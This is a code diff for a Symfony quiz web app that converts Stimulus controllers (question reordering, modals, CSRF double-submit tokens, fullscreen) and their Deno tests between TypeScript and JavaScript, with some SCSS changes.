// deno-lint-ignore no-explicit-any
|
|
||||||
(globalThis as any).document = {
|
|
||||||
createElement: () => ({
|
|
||||||
...fakeElement(),
|
|
||||||
innerHTML: '',
|
|
||||||
}),
|
|
||||||
};
|
|
||||||
|
|
||||||
const { default: QuestionListController } = await import(
|
|
||||||
'./question_list_controller.ts'
|
|
||||||
);
|
|
||||||
|
|
||||||
// deno-lint-ignore no-explicit-any
|
|
||||||
function makeController(overrides: Record<string, unknown> = {}): any {
|
|
||||||
const controller = new QuestionListController({} as never);
|
|
||||||
return Object.assign(controller, {
|
|
||||||
listTarget: fakeElement(),
|
|
||||||
itemTargets: [],
|
|
||||||
hasStatusTarget: true,
|
|
||||||
statusTarget: fakeElement(),
|
|
||||||
csrfValue: 'csrf-token',
|
|
||||||
reorderUrlValue: '/reorder',
|
|
||||||
savedLabelValue: 'Saved',
|
|
||||||
errorLabelValue: 'Error',
|
|
||||||
errorHintValue: 'Refresh the page.',
|
|
||||||
...overrides,
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
Deno.test('_setStatus renders the saving state', () => {
|
|
||||||
const controller = makeController();
|
|
||||||
controller._setStatus('saving');
|
|
||||||
assertEquals(
|
|
||||||
controller.statusTarget.classList.contains('text-bg-warning'),
|
|
||||||
true,
|
|
||||||
);
|
|
||||||
assertEquals(controller.statusTarget.textContent, '…');
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('_setStatus renders the saved state with the configured label', () => {
|
|
||||||
const controller = makeController();
|
|
||||||
controller._setStatus('saved');
|
|
||||||
assertEquals(
|
|
||||||
controller.statusTarget.classList.contains('text-bg-success'),
|
|
||||||
true,
|
|
||||||
);
|
|
||||||
assertEquals(controller.statusTarget.textContent, 'Saved');
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('_setStatus is a no-op when there is no status target', () => {
|
|
||||||
const controller = makeController({ hasStatusTarget: false });
|
|
||||||
controller._setStatus('saving');
|
|
||||||
assertEquals(controller.statusTarget.textContent, '');
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('_persistOrder posts the item ordering and reports success', async () => {
|
|
||||||
const numberEl = { textContent: '' };
|
|
||||||
const item = {
|
|
||||||
dataset: { questionId: '42' },
|
|
||||||
querySelector: () => numberEl,
|
|
||||||
};
|
|
||||||
const controller = makeController({ itemTargets: [item] });
|
|
||||||
|
|
||||||
let requestBody: URLSearchParams | undefined;
|
|
||||||
globalThis.fetch = ((_url: string, init: RequestInit) => {
|
|
||||||
requestBody = init.body as URLSearchParams;
|
|
||||||
return Promise.resolve({ ok: true } as Response);
|
|
||||||
}) as typeof fetch;
|
|
||||||
|
|
||||||
await controller._persistOrder();
|
|
||||||
|
|
||||||
assertEquals(controller._locked, false);
|
|
||||||
assertEquals(
|
|
||||||
controller.statusTarget.classList.contains('text-bg-success'),
|
|
||||||
true,
|
|
||||||
);
|
|
||||||
assertEquals(numberEl.textContent, '1');
|
|
||||||
assertEquals(requestBody?.get('_token'), 'csrf-token');
|
|
||||||
assertEquals(requestBody?.get('ordering[]'), '42');
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('_persistOrder retries once, then locks and shows an error after repeated failure', async () => {
|
|
||||||
const controller = makeController();
|
|
||||||
let calls = 0;
|
|
||||||
globalThis.fetch = (() => {
|
|
||||||
calls++;
|
|
||||||
return Promise.resolve({ ok: false } as Response);
|
|
||||||
}) as typeof fetch;
|
|
||||||
|
|
||||||
await controller._persistOrder();
|
|
||||||
|
|
||||||
assertEquals(calls, 2);
|
|
||||||
assertEquals(controller._locked, true);
|
|
||||||
assertEquals(
|
|
||||||
controller.statusTarget.classList.contains('text-bg-danger'),
|
|
||||||
true,
|
|
||||||
);
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('_persistOrder treats a network error the same as a failed response', async () => {
|
|
||||||
const controller = makeController();
|
|
||||||
globalThis.fetch =
|
|
||||||
(() => Promise.reject(new Error('network down'))) as typeof fetch;
|
|
||||||
|
|
||||||
await controller._persistOrder();
|
|
||||||
|
|
||||||
assertEquals(controller._locked, true);
|
|
||||||
assertEquals(
|
|
||||||
controller.statusTarget.classList.contains('text-bg-danger'),
|
|
||||||
true,
|
|
||||||
);
|
|
||||||
});
|
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
import {Controller} from '@hotwired/stimulus';
|
||||||
|
import {Tooltip, Modal} from 'bootstrap';
|
||||||
|
|
||||||
|
export default class extends Controller {
|
||||||
|
static targets = ['clearModal', 'deleteModal'];
|
||||||
|
|
||||||
|
connect() {
|
||||||
|
this.tooltips = [];
|
||||||
|
const tooltipTriggerList = this.element.querySelectorAll('[data-bs-toggle="tooltip"]');
|
||||||
|
[...tooltipTriggerList].forEach(tooltipTriggerEl => {
|
||||||
|
this.tooltips.push(Tooltip.getOrCreateInstance(tooltipTriggerEl));
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
disconnect() {
|
||||||
|
this.tooltips.forEach(tooltip => tooltip.dispose());
|
||||||
|
}
|
||||||
|
|
||||||
|
clearQuiz() {
|
||||||
|
const modal = Modal.getOrCreateInstance(this.clearModalTarget);
|
||||||
|
modal.show();
|
||||||
|
}
|
||||||
|
|
||||||
|
deleteQuiz() {
|
||||||
|
const modal = Modal.getOrCreateInstance(this.deleteModalTarget);
|
||||||
|
modal.show();
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,35 +0,0 @@
|
|||||||
import { Controller } from '@hotwired/stimulus';
|
|
||||||
import { Modal, Tooltip } from 'bootstrap';
|
|
||||||
|
|
||||||
export default class extends Controller {
|
|
||||||
static targets = ['clearModal', 'deleteModal'];
|
|
||||||
|
|
||||||
declare readonly clearModalTarget: HTMLElement;
|
|
||||||
declare readonly deleteModalTarget: HTMLElement;
|
|
||||||
|
|
||||||
tooltips: Tooltip[] = [];
|
|
||||||
|
|
||||||
connect(): void {
|
|
||||||
this.tooltips = [];
|
|
||||||
const tooltipTriggerList = this.element.querySelectorAll(
|
|
||||||
'[data-bs-toggle="tooltip"]',
|
|
||||||
);
|
|
||||||
[...tooltipTriggerList].forEach((tooltipTriggerEl) => {
|
|
||||||
this.tooltips.push(Tooltip.getOrCreateInstance(tooltipTriggerEl));
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
disconnect(): void {
|
|
||||||
this.tooltips.forEach((tooltip) => tooltip.dispose());
|
|
||||||
}
|
|
||||||
|
|
||||||
clearQuiz(): void {
|
|
||||||
const modal = Modal.getOrCreateInstance(this.clearModalTarget);
|
|
||||||
modal.show();
|
|
||||||
}
|
|
||||||
|
|
||||||
deleteQuiz(): void {
|
|
||||||
const modal = Modal.getOrCreateInstance(this.deleteModalTarget);
|
|
||||||
modal.show();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -0,0 +1,81 @@
|
|||||||
|
const nameCheck = /^[-_a-zA-Z0-9]{4,22}$/;
|
||||||
|
const tokenCheck = /^[-_/+a-zA-Z0-9]{24,}$/;
|
||||||
|
|
||||||
|
// Generate and double-submit a CSRF token in a form field and a cookie, as defined by Symfony's SameOriginCsrfTokenManager
|
||||||
|
// Use `form.requestSubmit()` to ensure that the submit event is triggered. Using `form.submit()` will not trigger the event
|
||||||
|
// and thus this event-listener will not be executed.
|
||||||
|
document.addEventListener('submit', function (event) {
|
||||||
|
generateCsrfToken(event.target);
|
||||||
|
}, true);
|
||||||
|
|
||||||
|
// When @hotwired/turbo handles form submissions, send the CSRF token in a header in addition to a cookie
|
||||||
|
// The `framework.csrf_protection.check_header` config option needs to be enabled for the header to be checked
|
||||||
|
document.addEventListener('turbo:submit-start', function (event) {
|
||||||
|
const h = generateCsrfHeaders(event.detail.formSubmission.formElement);
|
||||||
|
Object.keys(h).map(function (k) {
|
||||||
|
event.detail.formSubmission.fetchRequest.headers[k] = h[k];
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
// When @hotwired/turbo handles form submissions, remove the CSRF cookie once a form has been submitted
|
||||||
|
document.addEventListener('turbo:submit-end', function (event) {
|
||||||
|
removeCsrfToken(event.detail.formSubmission.formElement);
|
||||||
|
});
|
||||||
|
|
||||||
|
export function generateCsrfToken (formElement) {
|
||||||
|
const csrfField = formElement.querySelector('input[data-controller="csrf-protection"], input[name="_csrf_token"]');
|
||||||
|
|
||||||
|
if (!csrfField) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
let csrfCookie = csrfField.getAttribute('data-csrf-protection-cookie-value');
|
||||||
|
let csrfToken = csrfField.value;
|
||||||
|
|
||||||
|
if (!csrfCookie && nameCheck.test(csrfToken)) {
|
||||||
|
csrfField.setAttribute('data-csrf-protection-cookie-value', csrfCookie = csrfToken);
|
||||||
|
csrfField.defaultValue = csrfToken = btoa(String.fromCharCode.apply(null, (window.crypto || window.msCrypto).getRandomValues(new Uint8Array(18))));
|
||||||
|
}
|
||||||
|
csrfField.dispatchEvent(new Event('change', { bubbles: true }));
|
||||||
|
|
||||||
|
if (csrfCookie && tokenCheck.test(csrfToken)) {
|
||||||
|
const cookie = csrfCookie + '_' + csrfToken + '=' + csrfCookie + '; path=/; samesite=strict';
|
||||||
|
document.cookie = window.location.protocol === 'https:' ? '__Host-' + cookie + '; secure' : cookie;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
export function generateCsrfHeaders (formElement) {
|
||||||
|
const headers = {};
|
||||||
|
const csrfField = formElement.querySelector('input[data-controller="csrf-protection"], input[name="_csrf_token"]');
|
||||||
|
|
||||||
|
if (!csrfField) {
|
||||||
|
return headers;
|
||||||
|
}
|
||||||
|
|
||||||
|
const csrfCookie = csrfField.getAttribute('data-csrf-protection-cookie-value');
|
||||||
|
|
||||||
|
if (tokenCheck.test(csrfField.value) && nameCheck.test(csrfCookie)) {
|
||||||
|
headers[csrfCookie] = csrfField.value;
|
||||||
|
}
|
||||||
|
|
||||||
|
return headers;
|
||||||
|
}
|
||||||
|
|
||||||
|
export function removeCsrfToken (formElement) {
|
||||||
|
const csrfField = formElement.querySelector('input[data-controller="csrf-protection"], input[name="_csrf_token"]');
|
||||||
|
|
||||||
|
if (!csrfField) {
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
const csrfCookie = csrfField.getAttribute('data-csrf-protection-cookie-value');
|
||||||
|
|
||||||
|
if (tokenCheck.test(csrfField.value) && nameCheck.test(csrfCookie)) {
|
||||||
|
const cookie = csrfCookie + '_' + csrfField.value + '=0; path=/; samesite=strict; max-age=0';
|
||||||
|
|
||||||
|
document.cookie = window.location.protocol === 'https:' ? '__Host-' + cookie + '; secure' : cookie;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/* stimulusFetch: 'lazy' */
|
||||||
|
export default 'csrf-protection-controller';
|
||||||
@@ -1,129 +0,0 @@
|
|||||||
const nameCheck = /^[-_a-zA-Z0-9]{4,22}$/;
|
|
||||||
const tokenCheck = /^[-_/+a-zA-Z0-9]{24,}$/;
|
|
||||||
|
|
||||||
interface TurboSubmitEventDetail {
|
|
||||||
formSubmission: {
|
|
||||||
formElement: HTMLFormElement;
|
|
||||||
fetchRequest: { headers: Record<string, string> };
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
const CSRF_FIELD_SELECTOR =
|
|
||||||
'input[data-controller="csrf-protection"], input[name="_csrf_token"]';
|
|
||||||
|
|
||||||
// Generate and double-submit a CSRF token in a form field and a cookie, as defined by Symfony's SameOriginCsrfTokenManager
|
|
||||||
// Use `form.requestSubmit()` to ensure that the submit event is triggered. Using `form.submit()` will not trigger the event
|
|
||||||
// and thus this event-listener will not be executed.
|
|
||||||
document.addEventListener('submit', function (event) {
|
|
||||||
generateCsrfToken(event.target as HTMLFormElement);
|
|
||||||
}, true);
|
|
||||||
|
|
||||||
// When @hotwired/turbo handles form submissions, send the CSRF token in a header in addition to a cookie
|
|
||||||
// The `framework.csrf_protection.check_header` config option needs to be enabled for the header to be checked
|
|
||||||
document.addEventListener('turbo:submit-start', function (event) {
|
|
||||||
const detail = (event as CustomEvent<TurboSubmitEventDetail>).detail;
|
|
||||||
const h = generateCsrfHeaders(detail.formSubmission.formElement);
|
|
||||||
Object.keys(h).forEach(function (k) {
|
|
||||||
detail.formSubmission.fetchRequest.headers[k] = h[k];
|
|
||||||
});
|
|
||||||
});
|
|
||||||
|
|
||||||
// When @hotwired/turbo handles form submissions, remove the CSRF cookie once a form has been submitted
|
|
||||||
document.addEventListener('turbo:submit-end', function (event) {
|
|
||||||
const detail = (event as CustomEvent<TurboSubmitEventDetail>).detail;
|
|
||||||
removeCsrfToken(detail.formSubmission.formElement);
|
|
||||||
});
|
|
||||||
|
|
||||||
export function generateCsrfToken(formElement: HTMLFormElement): void {
|
|
||||||
const csrfField = formElement.querySelector<HTMLInputElement>(
|
|
||||||
CSRF_FIELD_SELECTOR,
|
|
||||||
);
|
|
||||||
|
|
||||||
if (!csrfField) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
let csrfCookie = csrfField.getAttribute(
|
|
||||||
'data-csrf-protection-cookie-value',
|
|
||||||
);
|
|
||||||
let csrfToken = csrfField.value;
|
|
||||||
|
|
||||||
if (!csrfCookie && nameCheck.test(csrfToken)) {
|
|
||||||
csrfField.setAttribute(
|
|
||||||
'data-csrf-protection-cookie-value',
|
|
||||||
csrfCookie = csrfToken,
|
|
||||||
);
|
|
||||||
csrfField.defaultValue = csrfToken = btoa(
|
|
||||||
String.fromCharCode.apply(
|
|
||||||
null,
|
|
||||||
Array.from(
|
|
||||||
(window.crypto ||
|
|
||||||
(window as unknown as { msCrypto: Crypto }).msCrypto)
|
|
||||||
.getRandomValues(new Uint8Array(18)),
|
|
||||||
),
|
|
||||||
),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
csrfField.dispatchEvent(new Event('change', { bubbles: true }));
|
|
||||||
|
|
||||||
if (csrfCookie && tokenCheck.test(csrfToken)) {
|
|
||||||
const cookie = csrfCookie + '_' + csrfToken + '=' + csrfCookie +
|
|
||||||
'; path=/; samesite=strict';
|
|
||||||
document.cookie = window.location.protocol === 'https:'
|
|
||||||
? '__Host-' + cookie + '; secure'
|
|
||||||
: cookie;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
export function generateCsrfHeaders(
|
|
||||||
formElement: HTMLFormElement,
|
|
||||||
): Record<string, string> {
|
|
||||||
const headers: Record<string, string> = {};
|
|
||||||
const csrfField = formElement.querySelector<HTMLInputElement>(
|
|
||||||
CSRF_FIELD_SELECTOR,
|
|
||||||
);
|
|
||||||
|
|
||||||
if (!csrfField) {
|
|
||||||
return headers;
|
|
||||||
}
|
|
||||||
|
|
||||||
const csrfCookie = csrfField.getAttribute(
|
|
||||||
'data-csrf-protection-cookie-value',
|
|
||||||
);
|
|
||||||
|
|
||||||
if (
|
|
||||||
tokenCheck.test(csrfField.value) && nameCheck.test(String(csrfCookie))
|
|
||||||
) {
|
|
||||||
headers[String(csrfCookie)] = csrfField.value;
|
|
||||||
}
|
|
||||||
|
|
||||||
return headers;
|
|
||||||
}
|
|
||||||
|
|
||||||
export function removeCsrfToken(formElement: HTMLFormElement): void {
|
|
||||||
const csrfField = formElement.querySelector<HTMLInputElement>(
|
|
||||||
CSRF_FIELD_SELECTOR,
|
|
||||||
);
|
|
||||||
|
|
||||||
if (!csrfField) {
|
|
||||||
return;
|
|
||||||
}
|
|
||||||
|
|
||||||
const csrfCookie = csrfField.getAttribute(
|
|
||||||
'data-csrf-protection-cookie-value',
|
|
||||||
);
|
|
||||||
|
|
||||||
if (
|
|
||||||
tokenCheck.test(csrfField.value) && nameCheck.test(String(csrfCookie))
|
|
||||||
) {
|
|
||||||
const cookie = String(csrfCookie) + '_' + csrfField.value +
|
|
||||||
'=0; path=/; samesite=strict; max-age=0';
|
|
||||||
|
|
||||||
document.cookie = window.location.protocol === 'https:'
|
|
||||||
? '__Host-' + cookie + '; secure'
|
|
||||||
: cookie;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
/* stimulusFetch: 'lazy' */
|
|
||||||
export default 'csrf-protection-controller';
|
|
||||||
@@ -1,119 +0,0 @@
|
|||||||
import { assertEquals, assertMatch } from '@std/assert';
|
|
||||||
|
|
||||||
// The module under test registers `document.addEventListener(...)` calls at
|
|
||||||
// import time and reads `window.location`/`window.crypto`, so a minimal
|
|
||||||
// `document`/`window` stub must exist in the global scope *before* the module
|
|
||||||
// is imported. Deno has no browser DOM, and the actual surface these
|
|
||||||
// functions touch on a form/input is narrow (getAttribute/setAttribute/value/
|
|
||||||
// dispatchEvent), so hand-built fakes are used instead of a full DOM polyfill.
|
|
||||||
let cookieJar = '';
|
|
||||||
// deno-lint-ignore no-explicit-any
|
|
||||||
(globalThis as any).document = {
|
|
||||||
addEventListener: () => {},
|
|
||||||
get cookie() {
|
|
||||||
return cookieJar;
|
|
||||||
},
|
|
||||||
set cookie(value: string) {
|
|
||||||
cookieJar += (cookieJar ? '; ' : '') + value;
|
|
||||||
},
|
|
||||||
};
|
|
||||||
// deno-lint-ignore no-explicit-any
|
|
||||||
(globalThis as any).window = {
|
|
||||||
location: { protocol: 'http:' },
|
|
||||||
crypto: globalThis.crypto,
|
|
||||||
};
|
|
||||||
|
|
||||||
const { generateCsrfHeaders, generateCsrfToken, removeCsrfToken } =
|
|
||||||
await import(
|
|
||||||
'./csrf_protection_controller.ts'
|
|
||||||
);
|
|
||||||
|
|
||||||
function fakeField(attributes: Record<string, string> = {}, value = '') {
|
|
||||||
const store = new Map(Object.entries(attributes));
|
|
||||||
return {
|
|
||||||
getAttribute: (name: string) => store.get(name) ?? null,
|
|
||||||
setAttribute: (name: string, val: string) => {
|
|
||||||
store.set(name, val);
|
|
||||||
},
|
|
||||||
value,
|
|
||||||
defaultValue: value,
|
|
||||||
dispatchEvent: () => true,
|
|
||||||
};
|
|
||||||
}
|
|
||||||
|
|
||||||
// deno-lint-ignore no-explicit-any
|
|
||||||
function fakeForm(field: ReturnType<typeof fakeField> | null): any {
|
|
||||||
return { querySelector: () => field };
|
|
||||||
}
|
|
||||||
|
|
||||||
Deno.test('generateCsrfToken does nothing when the form has no csrf field', () => {
|
|
||||||
cookieJar = '';
|
|
||||||
generateCsrfToken(fakeForm(null));
|
|
||||||
assertEquals(cookieJar, '');
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('generateCsrfToken generates a token and cookie on first use', () => {
|
|
||||||
cookieJar = '';
|
|
||||||
const field = fakeField({}, 'my_field_name');
|
|
||||||
|
|
||||||
generateCsrfToken(fakeForm(field));
|
|
||||||
|
|
||||||
assertEquals(
|
|
||||||
field.getAttribute('data-csrf-protection-cookie-value'),
|
|
||||||
'my_field_name',
|
|
||||||
);
|
|
||||||
assertMatch(field.defaultValue, /^[-_/+a-zA-Z0-9]{24,}$/);
|
|
||||||
assertMatch(cookieJar, /my_field_name_[-_/+a-zA-Z0-9]{24,}=my_field_name/);
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('generateCsrfToken keeps an existing valid token/cookie pair unchanged', () => {
|
|
||||||
cookieJar = '';
|
|
||||||
const token = 'a'.repeat(24);
|
|
||||||
const field = fakeField({
|
|
||||||
'data-csrf-protection-cookie-value': 'existing_name',
|
|
||||||
}, token);
|
|
||||||
|
|
||||||
generateCsrfToken(fakeForm(field));
|
|
||||||
|
|
||||||
assertEquals(field.value, token);
|
|
||||||
assertMatch(cookieJar, new RegExp(`existing_name_${token}=existing_name`));
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('generateCsrfHeaders returns empty headers without a csrf field', () => {
|
|
||||||
assertEquals(generateCsrfHeaders(fakeForm(null)), {});
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('generateCsrfHeaders returns the cookie-name/token header when both are valid', () => {
|
|
||||||
const token = 'b'.repeat(24);
|
|
||||||
const field = fakeField({
|
|
||||||
'data-csrf-protection-cookie-value': 'field_name',
|
|
||||||
}, token);
|
|
||||||
|
|
||||||
assertEquals(generateCsrfHeaders(fakeForm(field)), { field_name: token });
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('generateCsrfHeaders omits the header when the token is too short', () => {
|
|
||||||
const field = fakeField({
|
|
||||||
'data-csrf-protection-cookie-value': 'field_name',
|
|
||||||
}, 'too-short');
|
|
||||||
|
|
||||||
assertEquals(generateCsrfHeaders(fakeForm(field)), {});
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('removeCsrfToken expires the cookie for a valid token/cookie pair', () => {
|
|
||||||
cookieJar = '';
|
|
||||||
const token = 'c'.repeat(24);
|
|
||||||
const field = fakeField({
|
|
||||||
'data-csrf-protection-cookie-value': 'field_name',
|
|
||||||
}, token);
|
|
||||||
|
|
||||||
removeCsrfToken(fakeForm(field));
|
|
||||||
|
|
||||||
assertMatch(cookieJar, new RegExp(`field_name_${token}=0`));
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('removeCsrfToken does nothing without a csrf field', () => {
|
|
||||||
cookieJar = '';
|
|
||||||
removeCsrfToken(fakeForm(null));
|
|
||||||
assertEquals(cookieJar, '');
|
|
||||||
});
|
|
||||||
@@ -0,0 +1,14 @@
|
|||||||
|
import {Controller} from '@hotwired/stimulus';
|
||||||
|
|
||||||
|
export default class extends Controller {
|
||||||
|
next() {
|
||||||
|
const currentUrl = new URL(window.location.href);
|
||||||
|
const pathParts = currentUrl.pathname.split('/');
|
||||||
|
// Remove the last segment
|
||||||
|
pathParts.pop();
|
||||||
|
// Update the pathname
|
||||||
|
currentUrl.pathname = pathParts.join('/');
|
||||||
|
// Navigate
|
||||||
|
window.location.href = currentUrl.href;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -1,14 +0,0 @@
|
|||||||
import { Controller } from '@hotwired/stimulus';
|
|
||||||
|
|
||||||
export default class extends Controller {
|
|
||||||
next(): void {
|
|
||||||
const currentUrl = new URL(window.location.href);
|
|
||||||
const pathParts = currentUrl.pathname.split('/');
|
|
||||||
// Remove the last segment
|
|
||||||
pathParts.pop();
|
|
||||||
// Update the pathname
|
|
||||||
currentUrl.pathname = pathParts.join('/');
|
|
||||||
// Navigate
|
|
||||||
window.location.href = currentUrl.href;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,51 +0,0 @@
|
|||||||
import { Controller } from '@hotwired/stimulus';
|
|
||||||
|
|
||||||
const STORAGE_KEY = 'tvdt-fullscreen';
|
|
||||||
|
|
||||||
export default class extends Controller {
|
|
||||||
connect(): void {
|
|
||||||
document.addEventListener('fullscreenchange', this.onFullscreenChange);
|
|
||||||
this.syncState();
|
|
||||||
|
|
||||||
if (
|
|
||||||
sessionStorage.getItem(STORAGE_KEY) === '1' &&
|
|
||||||
!document.fullscreenElement
|
|
||||||
) {
|
|
||||||
this.request();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
disconnect(): void {
|
|
||||||
document.removeEventListener(
|
|
||||||
'fullscreenchange',
|
|
||||||
this.onFullscreenChange,
|
|
||||||
);
|
|
||||||
}
|
|
||||||
|
|
||||||
toggle(): void {
|
|
||||||
if (document.fullscreenElement) {
|
|
||||||
document.exitFullscreen();
|
|
||||||
} else {
|
|
||||||
this.request();
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
request(): void {
|
|
||||||
document.documentElement.requestFullscreen().catch(() => {});
|
|
||||||
}
|
|
||||||
|
|
||||||
onFullscreenChange = (): void => {
|
|
||||||
sessionStorage.setItem(
|
|
||||||
STORAGE_KEY,
|
|
||||||
document.fullscreenElement ? '1' : '0',
|
|
||||||
);
|
|
||||||
this.syncState();
|
|
||||||
};
|
|
||||||
|
|
||||||
syncState(): void {
|
|
||||||
document.documentElement.classList.toggle(
|
|
||||||
'is-fullscreen',
|
|
||||||
Boolean(document.fullscreenElement),
|
|
||||||
);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
@@ -1,75 +0,0 @@
|
|||||||
import { assertEquals } from '@std/assert';
|
|
||||||
|
|
||||||
// Stimulus's Controller base class constructor only does `this.context = context`
|
|
||||||
// (see @hotwired/stimulus dist/stimulus.js), and none of this controller's methods
|
|
||||||
// touch Stimulus-specific getters (element/scope/targets), so a plain `{}` context
|
|
||||||
// is enough to construct a real instance. `document`/`sessionStorage` are stubbed
|
|
||||||
// since Deno has no browser DOM.
|
|
||||||
class FakeClassList {
|
|
||||||
classes = new Set<string>();
|
|
||||||
toggle(name: string, force?: boolean) {
|
|
||||||
const shouldAdd = force ?? !this.classes.has(name);
|
|
||||||
if (shouldAdd) this.classes.add(name);
|
|
||||||
else this.classes.delete(name);
|
|
||||||
}
|
|
||||||
contains(name: string) {
|
|
||||||
return this.classes.has(name);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
const classList = new FakeClassList();
|
|
||||||
let fullscreenElement: unknown = null;
|
|
||||||
const sessionStore = new Map<string, string>();
|
|
||||||
|
|
||||||
// deno-lint-ignore no-explicit-any
|
|
||||||
(globalThis as any).document = {
|
|
||||||
documentElement: { classList },
|
|
||||||
get fullscreenElement() {
|
|
||||||
return fullscreenElement;
|
|
||||||
},
|
|
||||||
addEventListener: () => {},
|
|
||||||
removeEventListener: () => {},
|
|
||||||
};
|
|
||||||
// Deno defines a native `sessionStorage` accessor on globalThis (get/set pair), so a
|
|
||||||
// plain assignment would just call through to it instead of replacing it — redefine
|
|
||||||
// the property outright.
|
|
||||||
Object.defineProperty(globalThis, 'sessionStorage', {
|
|
||||||
value: {
|
|
||||||
getItem: (key: string) => sessionStore.get(key) ?? null,
|
|
||||||
setItem: (key: string, value: string) => sessionStore.set(key, value),
|
|
||||||
},
|
|
||||||
configurable: true,
|
|
||||||
});
|
|
||||||
|
|
||||||
const { default: FullscreenController } = await import(
|
|
||||||
'./fullscreen_controller.ts'
|
|
||||||
);
|
|
||||||
|
|
||||||
// deno-lint-ignore no-explicit-any
|
|
||||||
function makeController(): any {
|
|
||||||
return new FullscreenController({} as never);
|
|
||||||
}
|
|
||||||
|
|
||||||
Deno.test('syncState adds is-fullscreen when a fullscreen element is set', () => {
|
|
||||||
fullscreenElement = { tagName: 'HTML' };
|
|
||||||
makeController().syncState();
|
|
||||||
assertEquals(classList.contains('is-fullscreen'), true);
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('syncState removes is-fullscreen when there is no fullscreen element', () => {
|
|
||||||
fullscreenElement = null;
|
|
||||||
makeController().syncState();
|
|
||||||
assertEquals(classList.contains('is-fullscreen'), false);
|
|
||||||
});
|
|
||||||
|
|
||||||
Deno.test('onFullscreenChange persists the fullscreen state and syncs classes', () => {
|
|
||||||
fullscreenElement = { tagName: 'HTML' };
|
|
||||||
makeController().onFullscreenChange();
|
|
||||||
assertEquals(sessionStore.get('tvdt-fullscreen'), '1');
|
|
||||||
assertEquals(classList.contains('is-fullscreen'), true);
|
|
||||||
|
|
||||||
fullscreenElement = null;
|
|
||||||
makeController().onFullscreenChange();
|
|
||||||
assertEquals(sessionStore.get('tvdt-fullscreen'), '0');
|
|
||||||
assertEquals(classList.contains('is-fullscreen'), false);
|
|
||||||
});
|
|
||||||
@@ -1,4 +1,4 @@
|
|||||||
import 'bootstrap/dist/css/bootstrap.min.css';
|
import 'bootstrap/dist/css/bootstrap.min.css';
|
||||||
import './styles/quiz.scss';
|
import './styles/quiz.scss';
|
||||||
import './stimulus.ts';
|
import './stimulus.js';
|
||||||
import './bootstrap.ts';
|
import './bootstrap.js';
|
||||||
@@ -1,3 +1,3 @@
|
|||||||
import { startStimulusApp } from '@symfony/stimulus-bundle';
|
import { startStimulusApp } from '@symfony/stimulus-bundle';
|
||||||
|
|
||||||
startStimulusApp();
|
const app = startStimulusApp();
|
||||||
@@ -3,9 +3,3 @@
|
|||||||
.col-result-md { width: 20%; }
|
.col-result-md { width: 20%; }
|
||||||
|
|
||||||
.modal-content > turbo-frame { display: contents; }
|
.modal-content > turbo-frame { display: contents; }
|
||||||
|
|
||||||
.release-notes {
|
|
||||||
overflow-wrap: break-word;
|
|
||||||
|
|
||||||
> :last-child { margin-bottom: 0; }
|
|
||||||
}
|
|
||||||
|
|||||||
@@ -94,32 +94,6 @@ input.btn-check:checked + label.answer-btn {
|
|||||||
gap: 0.5rem;
|
gap: 0.5rem;
|
||||||
}
|
}
|
||||||
|
|
||||||
.fullscreen-btn {
|
|
||||||
position: fixed;
|
|
||||||
bottom: 0.75rem;
|
|
||||||
left: 0.75rem;
|
|
||||||
z-index: 1040;
|
|
||||||
width: 2.25rem;
|
|
||||||
height: 2.25rem;
|
|
||||||
padding: 0;
|
|
||||||
background: transparent;
|
|
||||||
border: none;
|
|
||||||
color: rgba(255, 255, 255, 0.35);
|
|
||||||
font-size: 1.25rem;
|
|
||||||
line-height: 1;
|
|
||||||
cursor: pointer;
|
|
||||||
|
|
||||||
&:hover,
|
|
||||||
&:focus {
|
|
||||||
color: rgba(255, 255, 255, 0.8);
|
|
||||||
outline: none;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
html.is-fullscreen .fullscreen-btn {
|
|
||||||
display: none;
|
|
||||||
}
|
|
||||||
|
|
||||||
.elimination-screen {
|
.elimination-screen {
|
||||||
position: fixed;
|
position: fixed;
|
||||||
top: 0;
|
top: 0;
|
||||||
|
|||||||
Vendored
-11
@@ -1,11 +0,0 @@
|
|||||||
// Ambient declarations for the parts of the AssetMapper toolchain that Deno's
|
|
||||||
// module resolution doesn't otherwise understand: CSS/SCSS side-effect imports
|
|
||||||
// (handled by AssetMapper at build time, not a JS module) and the Symfony
|
|
||||||
// stimulus-bundle loader (a local vendor/ file, not an npm package).
|
|
||||||
|
|
||||||
declare module '*.css';
|
